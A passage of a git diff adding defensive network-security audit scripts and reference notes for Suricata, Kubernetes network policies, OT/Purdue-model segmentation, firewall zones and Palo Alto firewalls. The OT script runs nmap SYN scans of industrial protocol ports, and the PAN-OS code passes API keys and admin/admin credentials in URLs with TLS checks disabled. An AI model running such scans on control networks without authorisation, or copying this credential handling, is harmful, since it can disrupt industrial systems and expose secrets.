sorted(noisy, key=lambda x: x["count"], reverse=True) + + +def detect_attack_patterns(alerts): + """Detect coordinated attack patterns from alert correlation.""" + src_dest_pairs = defaultdict(list) + for alert in alerts: + key = (alert["src_ip"], alert["dest_ip"]) + src_dest_pairs[key].append(alert) + patterns = [] + for (src, dst), pair_alerts in src_dest_pairs.items(): + if len(pair_alerts) >= 20: + sigs = list(set(a["signature_id"] for a in pair_alerts)) + patterns.append({ + "source": src, "target": dst, + "alert_count": len(pair_alerts), + "unique_signatures": len(sigs), + "severity": "critical" if len(sigs) > 5 else "high", + "pattern": "multi_stage_attack" if len(sigs) > 3 else "repeated_exploit", + }) + return sorted(patterns, key=lambda x: x["alert_count"], reverse=True) + + +def check_suricata_status(): + """Check Suricata service status and configuration.""" + status_cmd = subprocess.run(["systemctl", "is-active", "suricata"], capture_output=True, text=True) + rule_count_cmd = subprocess.run(["suricata", "--build-info"], capture_output=True, text=True) + stats_cmd = subprocess.run(["suricatasc", "-c", "dump-counters"], capture_output=True, text=True) + return { + "service_active": status_cmd.stdout.strip() == "active", + "build_info": rule_count_cmd.stdout[:200] if rule_count_cmd.returncode == 0 else "unavailable", + } + + +def generate_report(alerts, status): + distribution = analyze_alert_distribution(alerts) + noisy = identify_noisy_rules(alerts) + patterns = detect_attack_patterns(alerts) + dropped = sum(1 for a in alerts if a["action"] == "blocked") + report = { + "timestamp": datetime.utcnow().isoformat(), + "suricata_status": status, + "total_alerts": len(alerts), + "blocked_events": dropped, + "block_rate": round(dropped / max(len(alerts), 1) * 100, 1), + "alert_distribution": distribution, + "noisy_rules_for_tuning": noisy[:10], + "attack_patterns_detected": patterns[:10], + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="Suricata IPS Analysis Agent") + parser.add_argument("--eve-log", default=EVE_LOG, help="Path to EVE JSON log") + parser.add_argument("--limit", type=int, default=50000, help="Max log lines to parse") + parser.add_argument("--noisy-threshold", type=int, default=500, help="Alert count threshold for noisy rules") + parser.add_argument("--output", default="suricata_ips_report.json") + args = parser.parse_args() + + status = check_suricata_status() + alerts = parse_eve_alerts(args.eve_log, args.limit) + report = generate_report(alerts, status) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Suricata: %d alerts, %.1f%% blocked, %d attack patterns", + report["total_alerts"], report["block_rate"], + len(report["attack_patterns_detected"])) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-network-policies-for-kubernetes/LICENSE b/skills/implementing-network-policies-for-kubernetes/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-network-policies-for-kubernetes/LICENSE +++ b/skills/implementing-network-policies-for-kubernetes/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-network-policies-for-kubernetes/references/api-reference.md b/skills/implementing-network-policies-for-kubernetes/references/api-reference.md new file mode 100644 index 00000000..f74672ef --- /dev/null +++ b/skills/implementing-network-policies-for-kubernetes/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Implementing Network Policies for Kubernetes + +## Default Deny-All Policy + +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: default-deny + namespace: production +spec: + podSelector: {} + policyTypes: [Ingress, Egress] +``` + +## Allow Specific Ingress + +```yaml +spec: + podSelector: + matchLabels: { app: backend } + ingress: + - from: + - podSelector: { matchLabels: { app: frontend } } + ports: + - port: 8080 +``` + +## kubectl Commands + +```bash +# List all network policies +kubectl get networkpolicy --all-namespaces +# Describe policy +kubectl describe networkpolicy default-deny -n production +# Apply policy +kubectl apply -f netpol.yaml +``` + +## Policy Types + +| Type | Behavior when present | +|------|-----------------------| +| Ingress | Restrict inbound traffic | +| Egress | Restrict outbound traffic | +| Both empty | Default deny all | + +## Common Patterns + +| Pattern | Description | +|---------|-------------| +| Default deny | Empty podSelector, no rules | +| Allow DNS | Egress to kube-system:53 | +| Allow same namespace | namespaceSelector match | +| Allow from ingress controller | Label-based ingress | + +### References + +- K8s NetworkPolicy: https://kubernetes.io/docs/concepts/services-networking/network-policies/ +- Network Policy Editor: https://editor.networkpolicy.io/ +- CNI Comparison: https://kubernetes.io/docs/concepts/cluster-administration/networking/ diff --git a/skills/implementing-network-policies-for-kubernetes/scripts/agent.py b/skills/implementing-network-policies-for-kubernetes/scripts/agent.py new file mode 100644 index 00000000..fc5c0972 --- /dev/null +++ b/skills/implementing-network-policies-for-kubernetes/scripts/agent.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python3 +"""Kubernetes Network Policy Agent - audits pod-to-pod communication and network policy coverage.""" + +import json +import argparse +import logging +import subprocess +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def kubectl_json(args_list): + """Execute kubectl command and return JSON output.""" + cmd = ["kubectl"] + args_list + ["-o", "json"] + result = subprocess.run(cmd, capture_output=True, text=True) + return json.loads(result.stdout) if result.returncode == 0 else {} + + +def get_namespaces(): + return kubectl_json(["get", "namespaces"]) + + +def get_network_policies(namespace="--all-namespaces"): + if namespace == "--all-namespaces": + return kubectl_json(["get", "networkpolicies", "--all-namespaces"]) + return kubectl_json(["get", "networkpolicies", "-n", namespace]) + + +def get_pods(namespace="--all-namespaces"): + if namespace == "--all-namespaces": + return kubectl_json(["get", "pods", "--all-namespaces"]) + return kubectl_json(["get", "pods", "-n", namespace]) + + +def analyze_policy_coverage(policies, pods): + """Determine which pods are covered by network policies.""" + policy_selectors = [] + for item in policies.get("items", []): + ns = item.get("metadata", {}).get("namespace", "") + spec = item.get("spec", {}) + selector = spec.get("podSelector", {}).get("matchLabels", {}) + policy_types = spec.get("policyTypes", []) + policy_selectors.append({ + "namespace": ns, + "selector": selector, + "ingress": "Ingress" in policy_types or spec.get("ingress") is not None, + "egress": "Egress" in policy_types or spec.get("egress") is not None, + }) + covered_pods = set() + uncovered_pods = [] + for pod in pods.get("items", []): + pod_ns = pod.get("metadata", {}).get("namespace", "") + pod_name = pod.get("metadata", {}).get("name", "") + pod_labels = pod.get("metadata", {}).get("labels", {}) + is_covered = False + for policy in policy_selectors: + if policy["namespace"] != pod_ns: + continue + if not policy["selector"]: + is_covered = True + break + if all(pod_labels.get(k) == v for k, v in policy["selector"].items()): + is_covered = True + break + if is_covered: + covered_pods.add(f"{pod_ns}/{pod_name}") + else: + uncovered_pods.append({"namespace": pod_ns, "pod": pod_name, "labels": pod_labels}) + total = len(pods.get("items", [])) + return { + "total_pods": total, + "covered_pods": len(covered_pods), + "uncovered_pods": len(uncovered_pods), + "coverage_percent": round(len(covered_pods) / max(total, 1) * 100, 1), + "uncovered_pod_list": uncovered_pods[:20], + } + + +def detect_overly_permissive_policies(policies): + """Find network policies that allow all traffic.""" + findings = [] + for item in policies.get("items", []): + name = item.get("metadata", {}).get("name", "") + ns = item.get("metadata", {}).get("namespace", "") + spec = item.get("spec", {}) + if not spec.get("podSelector", {}).get("matchLabels"): + ingress_rules = spec.get("ingress", []) + for rule in ingress_rules: + if not rule.get("from"): + findings.append({"policy": name, "namespace": ns, + "issue": "allows_all_ingress", "severity": "high"}) + egress_rules = spec.get("egress", []) + for rule in egress_rules: + if not rule.get("to"): + findings.append({"policy": name, "namespace": ns, + "issue": "allows_all_egress", "severity": "medium"}) + return findings + + +def analyze_namespace_isolation(policies, namespaces): + """Check which namespaces have default-deny policies.""" + ns_with_deny = set() + for item in policies.get("items", []): + spec = item.get("spec", {}) + if (not spec.get("podSelector", {}).get("matchLabels") and + not spec.get("ingress") and "Ingress" in spec.get("policyTypes", [])): + ns_with_deny.add(item.get("metadata", {}).get("namespace", "")) + all_ns = [ns.get("metadata", {}).get("name", "") for ns in namespaces.get("items", [])] + system_ns = {"kube-system", "kube-public", "kube-node-lease"} + user_ns = [ns for ns in all_ns if ns not in system_ns] + return { + "total_namespaces": len(user_ns), + "namespaces_with_default_deny": len(ns_with_deny), + "isolation_percent": round(len(ns_with_deny) / max(len(user_ns), 1) * 100, 1), + "unprotected_namespaces": [ns for ns in user_ns if ns not in ns_with_deny], + } + + +def generate_report(policies, pods, namespaces): + coverage = analyze_policy_coverage(policies, pods) + permissive = detect_overly_permissive_policies(policies) + isolation = analyze_namespace_isolation(policies, namespaces) + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_network_policies": len(policies.get("items", [])), + "pod_coverage": coverage, + "namespace_isolation": isolation, + "overly_permissive_policies": permissive, + "total_findings": len(permissive), + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="Kubernetes Network Policy Audit Agent") + parser.add_argument("--namespace", default="--all-namespaces", help="Namespace to audit") + parser.add_argument("--output", default="k8s_netpol_report.json") + args = parser.parse_args() + + policies = get_network_policies(args.namespace) + pods = get_pods(args.namespace) + namespaces = get_namespaces() + report = generate_report(policies, pods, namespaces) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("K8s NetPol: %.1f%% pod coverage, %.1f%% namespace isolation, %d findings", + report["pod_coverage"]["coverage_percent"], + report["namespace_isolation"]["isolation_percent"], + report["total_findings"]) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-network-segmentation-for-ot/LICENSE b/skills/implementing-network-segmentation-for-ot/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-network-segmentation-for-ot/LICENSE +++ b/skills/implementing-network-segmentation-for-ot/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-network-segmentation-for-ot/references/api-reference.md b/skills/implementing-network-segmentation-for-ot/references/api-reference.md new file mode 100644 index 00000000..96e71397 --- /dev/null +++ b/skills/implementing-network-segmentation-for-ot/references/api-reference.md @@ -0,0 +1,39 @@ +# API Reference: Implementing Network Segmentation for OT + +## Purdue Reference Model + +| Level | Name | Assets | +|-------|------|--------| +| 0 | Process | Sensors, actuators, field devices | +| 1 | Basic Control | PLCs, RTUs, safety systems | +| 2 | Supervisory | HMIs, engineering workstations | +| 3 | Operations | Historians, MES, OPC servers | +| 3.5 | DMZ | Data diodes, patch servers | +| 4 | Enterprise | ERP, email, business apps | +| 5 | External | Internet, cloud, vendors | + +## Zone Audit Checks + +| Check | Severity | Description | +|-------|----------|-------------| +| No firewall | CRITICAL | Zone boundary unprotected | +| Control zone internet access | CRITICAL | Level 0/1 reaches internet | +| No IDS monitoring | HIGH | No intrusion detection | +| No DPI | HIGH | No OT protocol filtering | +| IT-OT bypass DMZ | CRITICAL | Direct Level 4 to Level 1 | + +## Common OT Protocols + +| Protocol | Port | Purdue Level | +|----------|------|-------------| +| Modbus/TCP | 502 | 0-1 | +| EtherNet/IP | 44818 | 0-2 | +| DNP3 | 20000 | 0-1 | +| OPC UA | 4840 | 1-3 | +| S7comm | 102 | 0-1 | + +### References + +- IEC 62443: https://www.isa.org/standards-and-publications/isa-standards/isa-iec-62443-series-of-standards +- NIST SP 800-82: https://csrc.nist.gov/publications/detail/sp/800-82/rev-3/final +- CISA ICS Security: https://www.cisa.gov/topics/industrial-control-systems diff --git a/skills/implementing-network-segmentation-for-ot/scripts/agent.py b/skills/implementing-network-segmentation-for-ot/scripts/agent.py new file mode 100644 index 00000000..c92e6374 --- /dev/null +++ b/skills/implementing-network-segmentation-for-ot/scripts/agent.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 +"""OT Network Segmentation Agent - audits IT/OT boundaries, firewall rules, and zone compliance.""" + +import json +import argparse +import logging +import subprocess +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +PURDUE_ZONES = { + "level_0": {"name": "Process", "description": "Field devices, sensors, actuators"}, + "level_1": {"name": "Control", "description": "PLCs, RTUs, safety systems"}, + "level_2": {"name": "Supervisory", "description": "HMI, SCADA, engineering workstations"}, + "level_3": {"name": "Operations", "description": "Historian, OT domain services"}, + "level_3.5": {"name": "DMZ", "description": "IT/OT demilitarized zone"}, + "level_4": {"name": "Enterprise", "description": "IT network, business systems"}, + "level_5": {"name": "External", "description": "Internet, cloud services"}, +} + + +def scan_zone_hosts(subnet): + """Discover hosts in an OT zone via nmap ping scan.""" + cmd = ["nmap", "-sn", subnet, "-oX", "-"] + result = subprocess.run(cmd, capture_output=True, text=True) + hosts = [] + import re + for match in re.finditer(r'addr="(\d+\.\d+\.\d+\.\d+)"', result.stdout): + hosts.append(match.group(1)) + return hosts + + +def check_firewall_rules(firewall_config_file): + """Parse firewall rules for IT/OT boundary enforcement.""" + findings = [] + try: + with open(firewall_config_file) as f: + rules = json.load(f) + for rule in rules: + if rule.get("action") == "permit": + src_zone = rule.get("source_zone", "") + dst_zone = rule.get("destination_zone", "") + if src_zone in ("enterprise", "external") and dst_zone in ("control", "process"): + findings.append({ + "rule_id": rule.get("id", ""), + "issue": f"Direct access from {src_zone} to {dst_zone} zone", + "severity": "critical", + "recommendation": "Route through DMZ with application proxy", + }) + if rule.get("protocol") == "any" or rule.get("port") == "any": + findings.append({ + "rule_id": rule.get("id", ""), + "issue": "Overly permissive rule (any protocol/port)", + "severity": "high", + "recommendation": "Restrict to specific OT protocols (Modbus/TCP 502, EtherNet/IP 44818)", + }) + except (FileNotFoundError, json.JSONDecodeError): + findings.append({"issue": "Firewall config not found or invalid", "severity": "critical"}) + return findings + + +def check_ot_protocol_exposure(target_subnet): + """Check for exposed OT protocols on the network.""" + ot_ports = {"502": "Modbus", "102": "S7comm", "44818": "EtherNet/IP", + "20000": "DNP3", "4840": "OPC-UA", "2222": "EtherNet/IP-explicit"} + port_list = ",".join(ot_ports.keys()) + cmd = ["nmap", "-sS", "-p", port_list, target_subnet, "--open", "-oX", "-"] + result = subprocess.run(cmd, capture_output=True, text=True) + exposed = [] + import re + current_host = "" + for line in result.stdout.split("\n"): + host_match = re.search(r'addr="(\d+\.\d+\.\d+\.\d+)"', line) + if host_match: + current_host = host_match.group(1) + port_match = re.search(r'portid="(\d+)".*state="open"', line) + if port_match and current_host: + port = port_match.group(1) + exposed.append({ + "host": current_host, "port": int(port), + "protocol": ot_ports.get(port, "unknown"), + "risk": "high" if port in ("502", "102") else "medium", + }) + return exposed + + +def audit_zone_compliance(zone_config): + """Audit zone assignment compliance against Purdue model.""" + findings = [] + for zone_id, zone_data in zone_config.items(): + if zone_id not in PURDUE_ZONES: + findings.append({"zone": zone_id, "issue": "Non-standard zone", "severity": "medium"}) + continue + hosts = zone_data.get("hosts", []) + for host in hosts: + if host.get("type") == "workstation" and zone_id in ("level_0", "level_1"): + findings.append({"zone": zone_id, "host": host.get("ip"), "issue": "Workstation in control/process zone", "severity": "high"}) + if host.get("internet_access") and zone_id in ("level_0", "level_1", "level_2"): + findings.append({"zone": zone_id, "host": host.get("ip"), "issue": "Internet access from OT zone", "severity": "critical"}) + return findings + + +def generate_report(fw_findings, ot_exposure, zone_findings, zone_config): + all_findings = fw_findings + zone_findings + critical = sum(1 for f in all_findings if f.get("severity") == "critical") + report = { + "timestamp": datetime.utcnow().isoformat(), + "framework": "IEC 62443 / Purdue Model", + "zones_defined": len(zone_config) if zone_config else 0, + "firewall_findings": fw_findings, + "ot_protocol_exposure": ot_exposure, + "zone_compliance_findings": zone_findings, + "total_findings": len(all_findings), + "critical_findings": critical, + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="OT Network Segmentation Audit Agent") + parser.add_argument("--firewall-config", help="JSON firewall rules config file") + parser.add_argument("--zone-config", help="JSON zone configuration file") + parser.add_argument("--scan-subnet", help="OT subnet to scan for protocol exposure") + parser.add_argument("--output", default="ot_segmentation_report.json") + args = parser.parse_args() + + fw_findings = check_firewall_rules(args.firewall_config) if args.firewall_config else [] + ot_exposure = check_ot_protocol_exposure(args.scan_subnet) if args.scan_subnet else [] + zone_config = {} + zone_findings = [] + if args.zone_config: + with open(args.zone_config) as f: + zone_config = json.load(f) + zone_findings = audit_zone_compliance(zone_config) + report = generate_report(fw_findings, ot_exposure, zone_findings, zone_config) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("OT segmentation: %d findings (%d critical), %d exposed OT ports", + report["total_findings"], report["critical_findings"], len(ot_exposure)) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-network-segmentation-with-firewall-zones/LICENSE b/skills/implementing-network-segmentation-with-firewall-zones/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-network-segmentation-with-firewall-zones/LICENSE +++ b/skills/implementing-network-segmentation-with-firewall-zones/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-network-segmentation-with-firewall-zones/references/api-reference.md b/skills/implementing-network-segmentation-with-firewall-zones/references/api-reference.md new file mode 100644 index 00000000..118a979b --- /dev/null +++ b/skills/implementing-network-segmentation-with-firewall-zones/references/api-reference.md @@ -0,0 +1,80 @@ +# API Reference: Implementing Network Segmentation with Firewall Zones + +## Zone Trust Levels + +| Zone | Trust Level | Typical VLANs | Default Policy | +|------|-------------|---------------|----------------| +| Internet | 0 (Untrusted) | N/A | Deny all inbound | +| DMZ | 1 (Low) | 10-19 | Permit specific inbound services | +| Guest | 1 (Low) | 50-59 | Internet-only, deny internal | +| Corporate | 3 (Medium) | 100-199 | Permit outbound, restricted inbound | +| Server/DC | 4 (High) | 200-299 | Strict ACL, limited admin | +| PCI CDE | 5 (Critical) | 300-309 | PCI DSS compliant isolation | +| Management | 5 (Critical) | 900-909 | Jump box only | +| OT/SCADA | 5 (Critical) | 400-409 | Air-gapped or strictly firewalled | + +## Palo Alto Zone-Based CLI + +```bash +# Create security zone +set network zone trust network layer3 ethernet1/2 +set network zone untrust network layer3 ethernet1/1 +set network zone dmz network layer3 ethernet1/3 + +# Inter-zone security policy +set rulebase security rules Allow-Corp-to-DMZ from trust to dmz \ + application web-browsing action allow log-end yes + +# Default deny rule +set rulebase security rules Deny-All from any to any application any action deny log-start yes +``` + +## Cisco ASA Zone Commands + +```bash +# Define nameif and security level +interface GigabitEthernet0/0 + nameif outside + security-level 0 +interface GigabitEthernet0/1 + nameif inside + security-level 100 +interface GigabitEthernet0/2 + nameif dmz + security-level 50 + +# ACL for inter-zone traffic +access-list OUTSIDE_IN extended permit tcp any host 192.168.10.5 eq 443 +access-group OUTSIDE_IN in interface outside +``` + +## PCI DSS Segmentation Requirements + +| Requirement | Control | +|-------------|---------| +| Req 1.2 | Restrict connections between untrusted and CDE | +| Req 1.3 | Prohibit direct public access to CDE | +| Req 1.4 | Personal firewall on portable devices | +| Req 11.3.4 | Penetration testing validates segmentation | + +## VLAN Trunking (802.1Q) + +```bash +# Cisco switch VLAN configuration +vlan 100 + name Corporate +vlan 200 + name Servers +vlan 300 + name PCI_CDE + +interface GigabitEthernet0/1 + switchport mode trunk + switchport trunk allowed vlan 100,200,300 +``` + +### References + +- NIST SP 800-41: https://csrc.nist.gov/publications/detail/sp/800-41/rev-1/final +- PCI DSS v4.0 Network Segmentation: https://www.pcisecuritystandards.org/ +- CIS Controls v8 Control 12: https://www.cisecurity.org/controls/v8 diff --git a/skills/implementing-network-segmentation-with-firewall-zones/scripts/agent.py b/skills/implementing-network-segmentation-with-firewall-zones/scripts/agent.py new file mode 100644 index 00000000..06b2e532 --- /dev/null +++ b/skills/implementing-network-segmentation-with-firewall-zones/scripts/agent.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 +"""Firewall Zone Segmentation Agent - audits zone-based firewall rules and inter-zone traffic policies.""" + +import json +import argparse +import logging +import subprocess +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def parse_firewall_config(config_file): + with open(config_file) as f: + return json.load(f) + + +def get_iptables_zones(): + cmd = ["iptables", "-L", "-n", "-v", "--line-numbers"] + result = subprocess.run(cmd, capture_output=True, text=True) + chains = defaultdict(list) + current_chain = "" + for line in result.stdout.split("\n"): + if line.startswith("Chain"): + current_chain = line.split()[1] + elif line.strip() and not line.startswith("num"): + chains[current_chain].append(line.strip()) + return dict(chains) + + +def audit_zone_rules(config): + findings = [] + rules = config.get("rules", []) + for rule in rules: + src_zone = rule.get("source_zone", "") + dst_zone = rule.get("destination_zone", "") + action = rule.get("action", "") + service = rule.get("service", "any") + if action == "allow" and service == "any": + findings.append({"rule_id": rule.get("id", ""), "source_zone": src_zone, "dest_zone": dst_zone, + "issue": "Allows all services between zones", "severity": "high"}) + if action == "allow" and src_zone == "untrust" and dst_zone == "trust": + findings.append({"rule_id": rule.get("id", ""), "issue": "Inbound from untrust to trust zone", "severity": "critical"}) + if rule.get("log") is False and action == "allow": + findings.append({"rule_id": rule.get("id", ""), "issue": "Allow rule without logging", "severity": "medium"}) + return findings + + +def check_default_zone_policies(config): + issues = [] + for zone in config.get("zones", []): + if zone.get("default_action", "deny") != "deny": + issues.append({"zone": zone.get("name"), "default_action": zone.get("default_action"), + "issue": "Default zone policy is not deny", "severity": "critical"}) + return issues + + +def analyze_rule_shadowing(rules): + shadowed = [] + for i, rule in enumerate(rules): + for j in range(i): + prev = rules[j] + if (prev.get("source_zone") == rule.get("source_zone") and + prev.get("destination_zone") == rule.get("destination_zone") and + prev.get("service") == "any" and prev.get("action") == "allow"): + shadowed.append({"rule_id": rule.get("id"), "shadowed_by": prev.get("id"), "severity": "low"}) + break + return shadowed + + +def generate_report(config, zone_findings, default_issues, shadowed): + all_findings = zone_findings + default_issues + shadowed + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_zones": len(config.get("zones", [])), + "total_rules": len(config.get("rules", [])), + "zone_rule_findings": zone_findings, + "default_policy_issues": default_issues, + "shadowed_rules": shadowed, + "total_findings": len(all_findings), + "critical_findings": sum(1 for f in all_findings if f.get("severity") == "critical"), + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="Firewall Zone Segmentation Audit Agent") + parser.add_argument("--config", required=True, help="Firewall zone config JSON file") + parser.add_argument("--output", default="zone_segmentation_report.json") + args = parser.parse_args() + + config = parse_firewall_config(args.config) + zone_findings = audit_zone_rules(config) + default_issues = check_default_zone_policies(config) + shadowed = analyze_rule_shadowing(config.get("rules", [])) + report = generate_report(config, zone_findings, default_issues, shadowed) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Zone audit: %d zones, %d rules, %d findings", report["total_zones"], report["total_rules"], report["total_findings"]) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-network-traffic-analysis-with-arkime/LICENSE b/skills/implementing-network-traffic-analysis-with-arkime/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-network-traffic-analysis-with-arkime/LICENSE +++ b/skills/implementing-network-traffic-analysis-with-arkime/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-next-generation-firewall-with-palo-alto/LICENSE b/skills/implementing-next-generation-firewall-with-palo-alto/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-next-generation-firewall-with-palo-alto/LICENSE +++ b/skills/implementing-next-generation-firewall-with-palo-alto/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-next-generation-firewall-with-palo-alto/references/api-reference.md b/skills/implementing-next-generation-firewall-with-palo-alto/references/api-reference.md new file mode 100644 index 00000000..0b862df6 --- /dev/null +++ b/skills/implementing-next-generation-firewall-with-palo-alto/references/api-reference.md @@ -0,0 +1,42 @@ +# API Reference: Palo Alto Networks NGFW (PAN-OS) + +## PAN-OS XML API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/?type=keygen` | GET | Generate API key | +| `/api/?type=config&action=get` | GET | Get configuration | +| `/api/?type=config&action=set` | GET | Set configuration | +| `/api/?type=op` | POST | Operational commands | + +## Authentication +``` +GET https:///api/?type=keygen&user=admin&password=admin +``` + +## Configuration XPaths + +| XPath | Description | +|-------|-------------| +| `/config/devices/.../vsys/.../rulebase/security/rules` | Security rules | +| `/config/devices/.../vsys/.../profiles` | Security profiles | +| `/config/devices/.../deviceconfig/system` | System config | + +## pan-python Library + +```bash +pip install pan-python +``` +| Method | Description | +|--------|-------------| +| `pan.xapi.PanXapi(hostname, api_key)` | Create API client | +| `xapi.get(xpath)` | Get config element | +| `xapi.set(xpath, element)` | Set config element | + +## Key Libraries + +| Library | Use | +|---------|-----| +| `requests` | REST API calls | +| `pan-python` | PAN-OS SDK | +| `xml.etree` | XML response parsing | diff --git a/skills/implementing-next-generation-firewall-with-palo-alto/scripts/agent.py b/skills/implementing-next-generation-firewall-with-palo-alto/scripts/agent.py new file mode 100644 index 00000000..69c2ded1 --- /dev/null +++ b/skills/implementing-next-generation-firewall-with-palo-alto/scripts/agent.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +"""Palo Alto NGFW Agent - audits security policies, threat prevention, and App-ID usage via XML API.""" + +import json +import argparse +import logging +import subprocess +import xml.etree.ElementTree as ET +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def pan_api_request(firewall_ip, api_key, cmd_type, cmd): + url = f"https://{firewall_ip}/api/?type={cmd_type}&cmd={cmd}&key={api_key}" + result = subprocess.run(["curl", "-s", "-k", url], capture_output=True, text=True) + return result.stdout + + +def get_security_rules(fw_ip, api_key): + cmd = "" + xml_data = pan_api_request(fw_ip, api_key, "op", cmd) + rules = [] + try: + root = ET.fromstring(xml_data) + for entry in root.iter("entry"): + rule = { + "name": entry.get("name", ""), + "source_zone": [z.text for z in entry.findall(".//from/member")] or ["any"], + "dest_zone": [z.text for z in entry.findall(".//to/member")] or ["any"], + "application": [a.text for a in entry.findall(".//application/member")] or ["any"], + "action": entry.findtext(".//action", ""), + "log_end": entry.findtext(".//log-end", "no"), + "profile_group": entry.findtext(".//profile-setting/group/member", ""), + } + rules.append(rule) + except ET.ParseError: + logger.error("Failed to parse security rules XML") + return rules + + +def audit_security_rules(rules): + findings = [] + for rule in rules: + name = rule["name"] + if "any" in rule["application"]: + findings.append({"rule": name, "issue": "Uses any application instead of App-ID", "severity": "high"}) + if not rule.get("profile_group"): + findings.append({"rule": name, "issue": "No security profile group attached", "severity": "high"}) + if rule["log_end"] != "yes": + findings.append({"rule": name, "issue": "End logging not enabled", "severity": "medium"}) + if rule["action"] == "allow" and "any" in rule["source_zone"] and "any" in rule["dest_zone"]: + findings.append({"rule": name, "issue": "Allow any-to-any zones", "severity": "critical"}) + return findings + + +def calculate_appid_coverage(rules): + total = len(rules) + appid_rules = sum(1 for r in rules if "any" not in r["application"]) + return {"total_rules": total, "appid_enabled": appid_rules, + "coverage_percent": round(appid_rules / max(total, 1) * 100, 1)} + + +def check_system_health(fw_ip, api_key): + cmd = "" + xml_data = pan_api_request(fw_ip, api_key, "op", cmd) + info = {} + try: + root = ET.fromstring(xml_data) + info["hostname"] = root.findtext(".//hostname", "") + info["model"] = root.findtext(".//model", "") + info["sw_version"] = root.findtext(".//sw-version", "") + info["threat_version"] = root.findtext(".//threat-version", "") + info["app_version"] = root.findtext(".//app-version", "") + except ET.ParseError: + pass + return info + + +def generate_report(rules, findings, appid, health): + return { + "timestamp": datetime.utcnow().isoformat(), + "system_health": health, + "total_rules": len(rules), + "appid_coverage": appid, + "security_findings": findings, + "total_findings": len(findings), + "critical_findings": sum(1 for f in findings if f.get("severity") == "critical"), + } + + +def main(): + parser = argparse.ArgumentParser(description="Palo Alto NGFW Audit Agent") + parser.add_argument("--firewall", required=True, help="Firewall IP/hostname") + parser.add_argument("--api-key", required=True, help="PAN-OS API key") + parser.add_argument("--output", default="panos_ngfw_report.json") + args = parser.parse_args() + + health = check_system_health(args.firewall, args.api_key) + rules = get_security_rules(args.firewall, args.api_key) + findings = audit_security_rules(rules) + appid = calculate_appid_coverage(rules) + report = generate_report(rules, findings, appid, health) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("PAN-OS: %d rules, App-ID %.1f%%, %d findings", + len(rules), appid["coverage_percent"], len(findings)) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-opa-gatekeeper-for-policy-enforcement/LICENSE b/skills/implementing-opa-gatekeeper-for-policy-enforcement/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-opa-gatekeeper-for-policy-enforcement/LICENSE +++ b/skills/implementing-opa-gatekeeper-for-policy-enforcement/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-opa-gatekeeper-for-policy-enforcement/references/api-reference.md 